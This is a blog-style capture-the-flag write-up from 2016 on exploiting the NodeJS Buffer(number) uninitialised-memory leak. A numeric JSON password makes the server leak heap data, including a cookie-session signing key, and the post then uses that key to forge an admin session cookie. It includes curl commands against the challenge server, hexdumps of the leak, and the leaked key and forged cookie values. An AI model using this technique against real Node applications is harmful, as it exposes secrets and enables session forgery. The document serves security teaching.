NodeJS Hacking Challenge - writeup

Posted on Tue 26 January 2016 in posts

You can read the previous article on how to setup and access the NodeJS hacking challenge. I will now spoil the challenge, so if you want to try it yourself, stop reading now!

Scroll down for a TL;DR writeup.


1. getting an overview

index page

When we first access the page we find this nice landing page. I tried to make a lame joke, but also hint at the issue. Languages like C are very prone to memory corruption vulnerabilities, especially when an inexperienced programmer starts writing C code. That's why it's advised, to choose "memory safe" languages for regular projects, or generally languages that make it harder to make mistakes. JavaScript is one of those more safe languages. But the bug that will be exploited here shows, that even in this very high-level language, you might not be as safe as you think you are.

In the menu we can see the items Home, Vexillology and Code. The latter is just a link to the source code

index page

The /admin or private Vexillology area is protected by a big password prompt. When we enter a password we get told that the password is wrong.

index page

When we open the developer console from our browser, we can see that when we enter a password, a POST request to /login is performed with the password as JSON data {"password": "test"}.

Another thing we should pay attention to is the cookie. Infact there are two cookies. session=eyJhZG1pbiI6Im5vIn0= and session.sig=wwg0b0z2AQJ2GCyXHt53ONkIXRs. When you decode the base64 session cookie, you will see that it says {"admin":"no"}. Now you might think that we can simply set this to "yes". But this won't work, because the cookie is HMAC protected. If you change it the server will simply throw it away.

There is a good reason why you would want to store this information in a cookie with the client. This way you can have a stateless server application, and you can easily spin up new machines or do load-balancing without having to think about sharing a database with the session information.

2. code review

Now let's have a look at the source code. A good point to start is the app.js file. We can learn several things from it. First we can see that the app uses the express web framework var express = require('express');. But this doesn't really matter too much here.

We can also have a look into the config.js file, which contains a dummy secret_password and dummy session_keys. Those keys are used to generate the HMAC for the cookies.

Next we should have a look at routes/index.js to see where our requests are handled. And it's really not much code.

router.get('/', function(req, res, next) {
    res.render('index', { title: 'index', admin: req.session.admin });
});

router.get('/admin', function(req, res, next) {
    res.render('admin', { title: 'Admin area', admin: req.session.admin, flag: config.secret_password });
});

router.get('/logout', function(req, res, next) {
    req.session = null;
    res.json({'status': 'ok'});
});

router.post('/login', function(req, res, next) {
    if(req.body.password !== undefined) {
        var password = new Buffer(req.body.password);
        if(password.toString('base64') == config.secret_password) {
            req.session.admin = 'yes';
            res.json({'status': 'ok' });
        } else {
            res.json({'status': 'error', 'error': 'password wrong: '+password.toString() });
        }
    } else {
        res.json({'status': 'error', 'error': 'password missing' });
    }
});

You might notice that the secret_password is given as flag to the admin template. If you look at the template code in views/admin.jade you can see that if you were authenticated as an admin, you would get the secret_password.

if admin === 'yes'
    p You are admin #{flag}
else
    ....

The only function that seems to have a bit more functionality is /login. Login checks if a password is set. Then it creates a Buffer() from the password, converts the Buffer to a base64 string, which can then be compare to the secret_password. If that were successful, the session would set admin = 'yes'.

3. the vuln

Somebody with a hacker mindset might immediately try to trace where untrusted userinput is handled. And eventually you would come across the Buffer class. And it turns out that Buffer() behaves differently based on the parameter. You can test this with NodeJS on the commandline:

> Buffer('AAAA')
<Buffer 41 41 41 41>
> Buffer(4)
<Buffer 90 4e 80 01>
> Buffer(4)
<Buffer 50 cc 02 02>
> Buffer(4)
<Buffer 0a 00 00 00>

You can see that when Buffer is called with a string, it will create a Buffer containign those bytes. But if it's called with a number, NodeJS will allocate an n byte big Buffer. But if you look closely, the buffer is not simply <Buffer 00 00 00 00>. It seems to always contain different values. That is because Buffer(number) doesn't zero the memory, and it can leak data that was previously allocated on the heap.

This is the issue that recently surfaced. NodeJS issue #4660 discusses the issue and possible fixes. And yes, there were real-world packages affected.

So becaue we have a JSON middleware (app.use(bodyParser.json())), we can actually send POST data that contains a number. And when you do that, the API will return some memory that is leaked from the heap:

curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{\"password\": 100}" | hexdump -C
00000000  7b 22 73 74 61 74 75 73  22 3a 22 65 72 72 6f 72  |{"status":"error|
00000010  22 2c 22 65 72 72 6f 72  22 3a 22 70 61 73 73 77  |","error":"passw|
00000020  6f 72 64 20 77 72 6f 6e  67 3a 20 69 73 41 72 72  |ord wrong: isArr|
00000030  61 79 2f ef bf bd 71 ef  bf bd 5c 75 30 30 30 30  |ay/...q...\u0000|
00000040  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |\u0000\u0000\u00|
00000050  30 30 5c 75 30 30 30 30  5c 75 30 30 31 30 ef bf  |00\u0000\u0010..|
00000060  bd 43 5c 75 30 30 30 33  5c 75 30 30 30 30 5c 75  |.C\u0003\u0000\u|
00000070  30 30 30 30 5c 75 30 30  30 30 5c 75 30 30 30 30  |0000\u0000\u0000|
00000080  5c 75 30 30 30 31 3c 2f  70 72 65 3e 3c ef bf bd  |\u0001</pre><...|
00000090  7f 43 5c 75 30 30 30 33  5c 75 30 30 30 30 5c 75  |.C\u0003\u0000\u|
000000a0  30 30 30 30 5c 75 30 30  30 30 5c 75 30 30 30 30  |0000\u0000\u0000|
000000b0  5c 75 30 30 30 37 5c 75  30 30 30 30 5c 75 30 30  |\u0007\u0000\u00|
000000c0  30 30 5c 75 30 30 30 30  2f 68 74 6d 5c 75 30 30  |00\u0000/htm\u00|
000000d0  30 32 5c 75 30 30 31 32  d0 a3 5c 75 30 30 30 30  |02\u0012..\u0000|
000000e0  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |\u0000\u0000\u00|
000000f0  30 30 5c 75 30 30 30 30  5c 75 30 30 30 30 5c 75  |00\u0000\u0000\u|
00000100  30 30 30 30 5c 75 30 30  30 30 76 65 5c 75 30 30  |0000\u0000ve\u00|
00000110  30 30 5c 75 30 30 30 30  ef bf bd 7f 43 5c 75 30  |00\u0000....C\u0|
00000120  30 30 33 5c 75 30 30 30  30 5c 75 30 30 30 30 5c  |003\u0000\u0000\|
00000130  75 30 30 30 30 5c 75 30  30 30 30 5c 75 30 30 30  |u0000\u0000\u000|
00000140  30 5c 75 30 30 30 30 5c  75 30 30 30 30 5c 75 30  |0\u0000\u0000\u0|
00000150  30 30 30 5c 75 30 30 30  30 5c 75 30 30 30 30 5c  |000\u0000\u0000\|
00000160  75 30 30 30 30 5c 75 30  30 30 30 ef bf bd ef bf  |u0000\u0000.....|
00000170  bd ef bf bd 5c 75 30 30  30 30 5c 75 30 30 30 30  |....\u0000\u0000|
00000180  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |\u0000\u0000\u00|
00000190  30 30 3a 5c 75 30 30 30  36 5c 75 30 30 30 30 5c  |00:\u0006\u0000\|
000001a0  75 30 30 30 30 ef bf bd  5c 75 30 30 30 30 5c 75  |u0000...\u0000\u|
000001b0  30 30 30 30 5c 75 30 30  30 30 50 32 31 5c 75 30  |0000\u0000P21\u0|
000001c0  30 30 33 22 7d                                    |003"}|

When you do this often enough, at some point you will leak one of the session_keys:

curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{\"password\": 100}" | hexdump -C
00000000  7b 22 73 74 61 74 75 73  22 3a 22 65 72 72 6f 72  |{"status":"error|
00000010  22 2c 22 65 72 72 6f 72  22 3a 22 70 61 73 73 77  |","error":"passw|
00000020  6f 72 64 20 77 72 6f 6e  67 3a 20 41 4c 4c 45 53  |ord wrong: ALLES|
00000030  7b 73 65 73 73 69 6f 6e  5f 6b 65 79 5f 4b 2e 47  |{session_key_K.G|
00000040  4b 51 65 52 30 4a 53 32  62 39 4f 68 77 53 48 23  |KQeR0JS2b9OhwSH#|
00000050  55 64 4d 68 4c 34 45 64  64 78 65 44 3f 7d 72 64  |UdMhL4EddxeD?}rd|
00000060  41 70 70 7b 5c 22 61 64  6d 69 6e 5c 22 3a 5c 22  |App{\"admin\":\"|
00000070  6e 6f 5c 22 7d 3e 69 3c  21 44 4f 43 54 59 50 45  |no\"}>i<!DOCTYPE|
00000080  20 68 74 6d 6c 3e 3c 68  74 6d 6c 20 6e 67 2d 61  | html><html ng-a|
00000090  70 70 3d 22 7d                                    |pp="}|
00000095
curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{\"password\": 100}" | grep ALLES                           1 ↵
{"status":"error","error":"password wrong: ALLES{session_key_K.GKQeR0JS2b9OhwSH#UdMhL4EddxeD?}><lin{\"admin\":\"no\"}eet\" href=\"/stylesheets/style."}

Leaked session key: ALLES{session_key_K.GKQeR0JS2b9OhwSH#UdMhL4EddxeD?}

Why can the session key be leaked here? And why can I not leak the secret password? I only have some assumption for the latter, and that is, that the hardcoded password is somewhere in the memory area that is mapped when the JIT compiler takes care of the JS code. But the Buffer() allocated memory area is somehwere else.

The NodeJS app uses cookie-session var session = require('cookie-session'). Which has a dependency to cookies, which has a dependency to keygrip. And keygrip does the HMAC signature by using the node core crypto package. And crypto creates a Buffer from the key. This means that an old session key could be leaked from memory.

With this session key we can now simply create a {"admin": "yes"} cookie with a valid signature. Which allows us to get access to the private area. You can do that by using the source code of this app, change the session_key in config.js and set the default cookie to req.session.admin = 'yes' in app.js.

Then you can grab the values from your modified local application, and simply set those cookies for the challenge server: session=eyJhZG1pbiI6InllcyJ9 and session.sig=oom6DtiV8CPOxVRSW3IFtE909As.

admin access

And now we can decode the base64 flag, which is our secret_password:

ALLES{use_javascript_they_said.its_a_safe_language_they_said}


TLDR: send a number as password to get a memory leak from NodeJS Buffer(number). POST /login {"password": 1000}. With a couple of tries you should leak the session key, which can be used to create a new valid signed cookie with {"admin": "yes"}. Win!


Fun Fact: this application is probably also vulnerable to a timing attack: http://codahale.com/a-lesson-in-timing-attacks/ password.toString('base64') == config.secret_password